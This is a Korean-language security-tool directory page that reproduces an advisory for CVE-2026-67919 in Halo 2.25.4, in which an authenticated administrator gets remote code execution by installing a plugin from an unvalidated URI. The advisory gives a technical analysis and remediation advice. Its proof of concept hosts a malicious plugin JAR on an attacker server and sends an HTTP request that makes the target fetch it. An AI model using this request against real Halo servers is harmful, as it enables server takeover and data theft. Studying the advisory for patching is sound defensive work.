Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
halo-2.25.4-CVE-2026-67919 — Halo 2.25.4에서 검증되지 않은 플러그인 URI 설치를 통한 인증된 원격 코드 실행 취약점을 시연하며, 기술 분석 및 개념 증명 익스플로잇을 포함합니다. | Kitploit
도구/GitHubGitHub/unpredictable21/halo-2.25.4-cve-2026-67919
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubunpredictable21/halo-2.25.4-cve-2026-67919

halo-2.25.4-CVE-2026-67919

Halo 2.25.4에서 검증되지 않은 플러그인 URI 설치를 통한 인증된 원격 코드 실행 취약점을 시연하며, 기술 분석 및 개념 증명 익스플로잇을 포함합니다.

저장소 보기
17일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Halo 2.25.4의 검증되지 않은 플러그인 URI 설치를 통한 인증된 원격 코드 실행(RCE)

1. 취약점 요약

Halo 버전 2.25.4에서 심각한 보안 취약점이 확인되었습니다. 이 애플리케이션은 원격 URI에서 플러그인을 설치하거나 업그레이드할 수 있는 관리자 엔드포인트를 제공합니다. 그러나 시스템은 URI의 소스 도메인을 검증하지 못하며, 이 특정 구성 요소에는 SSRF(서버 측 요청 위조) 보호 기능이 없습니다. 플러그인 관리 권한이 있는 인증된 공격자는 악의적으로 제작된 플러그인 JAR 파일에 대한 링크를 제공할 수 있습니다. 서버는 PF4J 프레임워크와 Spring의 DefaultPluginApplicationContextFactory를 사용하여 JAR 파일을 다운로드하고, 임시로 저장한 다음, JVM 컨텍스트에 동적으로 로드합니다. 이로 인해 신뢰할 수 없는 확장 클래스가 실행되어 기본 호스트 운영 체제에서 임의의 원격 코드 실행(RCE)이 가능해집니다.

2. 취약점 세부 정보

  • 취약점 유형: 코드 주입 / 원격 코드 실행(RCE)
  • CWE ID: CWE-94: 코드 생성의 부적절한 제어('코드 주입') / CWE-434: 위험한 유형의 파일 무제한 업로드
  • 심각도: 🔴 치명적
  • 예상 CVSS v3.1 점수: 9.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
  • 영향을 받는 버전: Halo 2.25.4 (및 URI 기반 플러그인 설치를 지원하는 이전 버전도 잠재적으로 영향)
  • CVE ID: CVE-2026-67919

3. 영향을 받는 구성 요소

CVE 양식에 제출할 때 쉼표로 구분하세요:

Plaintext

root@kitploit:~
PluginEndpoint.java, installFromUri 메서드, DefaultPluginApplicationContextFactory

4. 공격 벡터

인증된 관리자는 악성 원격 플러그인 JAR URL이 포함된 조작된 HTTP POST 요청을 /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri 엔드포인트로 보낼 수 있습니다.

5. 기술 분석 및 공격 체인

원격 코드 실행은 다음 작업 순서를 통해 발생합니다:

  1. 엔드포인트 수집: PluginEndpoint.installFromUri() 메서드는 들어오는 요청 본문(InstallFromUriRequest)을 처리하고 사용자가 제공한 uri 문자열을 추출합니다. 도메인 화이트리스트 필터링이 적용되지 않습니다.
  2. 보호되지 않은 파일 검색: 추출된 URI는 DefaultReactiveUrlDataBufferFetcher.fetch(uri)로 전달됩니다. Halo의 다른 내부 네트워킹 구성 요소와 달리 이 페처는 HttpSecurityUtils.secureHttpClient()를 호출하지 않아 내부 사설 네트워크/루프백 IP 제한(SSRF 보호)을 건너뜁니다.
  3. 로컬 파일 저장: 원격 URI에서 다운로드된 스트리밍 콘텐츠는 writeToTempFile(content)를 통해 호스트 서버의 로컬 임시 디렉터리에 기록됩니다.
  4. 동적 클래스 로딩: 애플리케이션은 임시 경로를 pluginService.install(path)에 전달하며, 이는 PF4J JarPluginLoader를 활용하여 JAR 파일의 압축을 풀고 로드합니다.
  5. Spring 빈 등록 및 실행: PF4J가 컨텍스트 로딩을 완료하면 Spring의 DefaultPluginApplicationContextFactory가 플러그인의 plugin.yaml 내부 메타데이터를 자동으로 파싱하고 선언된 모든 확장 클래스를 Active Spring 빈으로 애플리케이션 컨텍스트에 등록합니다.
  6. 코드 실행 트리거: 확장 클래스의 정적 초기화 블록(static {}) 또는 @PostConstruct로 주석 처리된 메서드 블록 내부에 배치된 악성 코드는 Runtime.getRuntime().exec()를 통해 인스턴스 생성 중에 즉시 실행됩니다.

취약한 소스 코드 세그먼트 (PluginEndpoint.java 422-428행):

Java

root@kitploit:~
var content = request.bodyToMono(InstallFromUriRequest.class)
    .map(InstallFromUriRequest::uri)
    .flatMapMany(reactiveUrlDataBufferFetcher::fetch);  // 검증되지 않은 네트워크 페치
return Mono.usingWhen(writeToTempFile(content), pluginService::install, this::deleteFileIfExists);

6. 개념 증명(PoC)

1단계: 악성 아티팩트 호스팅

공격자는 @PostConstruct 수명 주기 훅 또는 정적 블록 내부에 페이로드 실행 메커니즘이 포함된 확장 클래스가 있는 표준 PF4J/Halo 플러그인 JAR 파일(poc-plugin.jar)을 컴파일합니다. 공격자는 이를 외부 리스너에 호스팅합니다:

Bash

root@kitploit:~
python3 -m http.server 9999

2단계: 취약점 트리거

인증된 관리 사용자는 대상 Halo 서버에 다음 HTTP 요청을 보냅니다:

HTTP

root@kitploit:~
POST /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri HTTP/1.1
Host: <target-ip>:8090
Authorization: Bearer <ADMIN_TOKEN_HERE>
Content-Type: application/json

{
  "uri": "http://<attacker-ip>:9999/poc-plugin.jar"
}

3단계: 예상 결과

서버는 설치를 처리하고, 공격자의 서버에서 아티팩트를 가져오고, 확장을 등록하고, 컴파일된 시스템 명령을 실행하여 대상 호스트를 손상시킵니다.

image
image

7. 영향

  • 시스템 손상: 애플리케이션 프로세스의 권한으로 호스팅 인프라 또는 Docker 컨테이너에 대한 전체 액세스.
  • 데이터 탈취: 백엔드 데이터베이스, 민감한 애플리케이션 자격 증명, 구성 키(application.yaml) 및 저장된 파일에 대한 직접적인 노출.
  • 수평 이동: 다운로드 메커니즘이 표준 이그레스 규칙을 우회하여 루프백 또는 내부 인프라 엔드포인트에 액세스할 수 있으므로 서버를 피벗하여 내부 사이트 네트워크를 공격할 수 있습니다.

8. 수정 권장 사항

  1. 절대 도메인 화이트리스트 적용: 들어오는 uri 인수에 대한 엄격한 검증 규칙을 적용합니다. 원격 설치 스키마를 검증된 신뢰할 수 있는 공식 에코시스템 마켓플레이스(예: https://awesome.halo.run)로 제한합니다.
  2. 보안 페처 통합: DefaultReactiveUrlDataBufferFetcher를 리팩터링하여 기존 HttpSecurityUtils.secureHttpClient() 유틸리티를 활용하고 루프백(127.0.0.1), 링크-로컬(169.254.169.254) 또는 사설 클래스 네트워크(10.0.0.0/8, 192.168.0.0/16)를 가리키는 요청을 차단합니다.
  3. 암호화 플러그인 검증: 외부 JAR 모듈에 대한 디지털 서명 검증 표준을 구현합니다. JarPluginLoader 컨텍스트는 DefaultPluginApplicationContextFactory에 전달하여 컨텍스트 인스턴스화를 수행하기 전에 공식 저장소에서 제공하는 공개 키에 대해 파일 해시 또는 암호화 서명을 검증해야 합니다.
도구 다운로드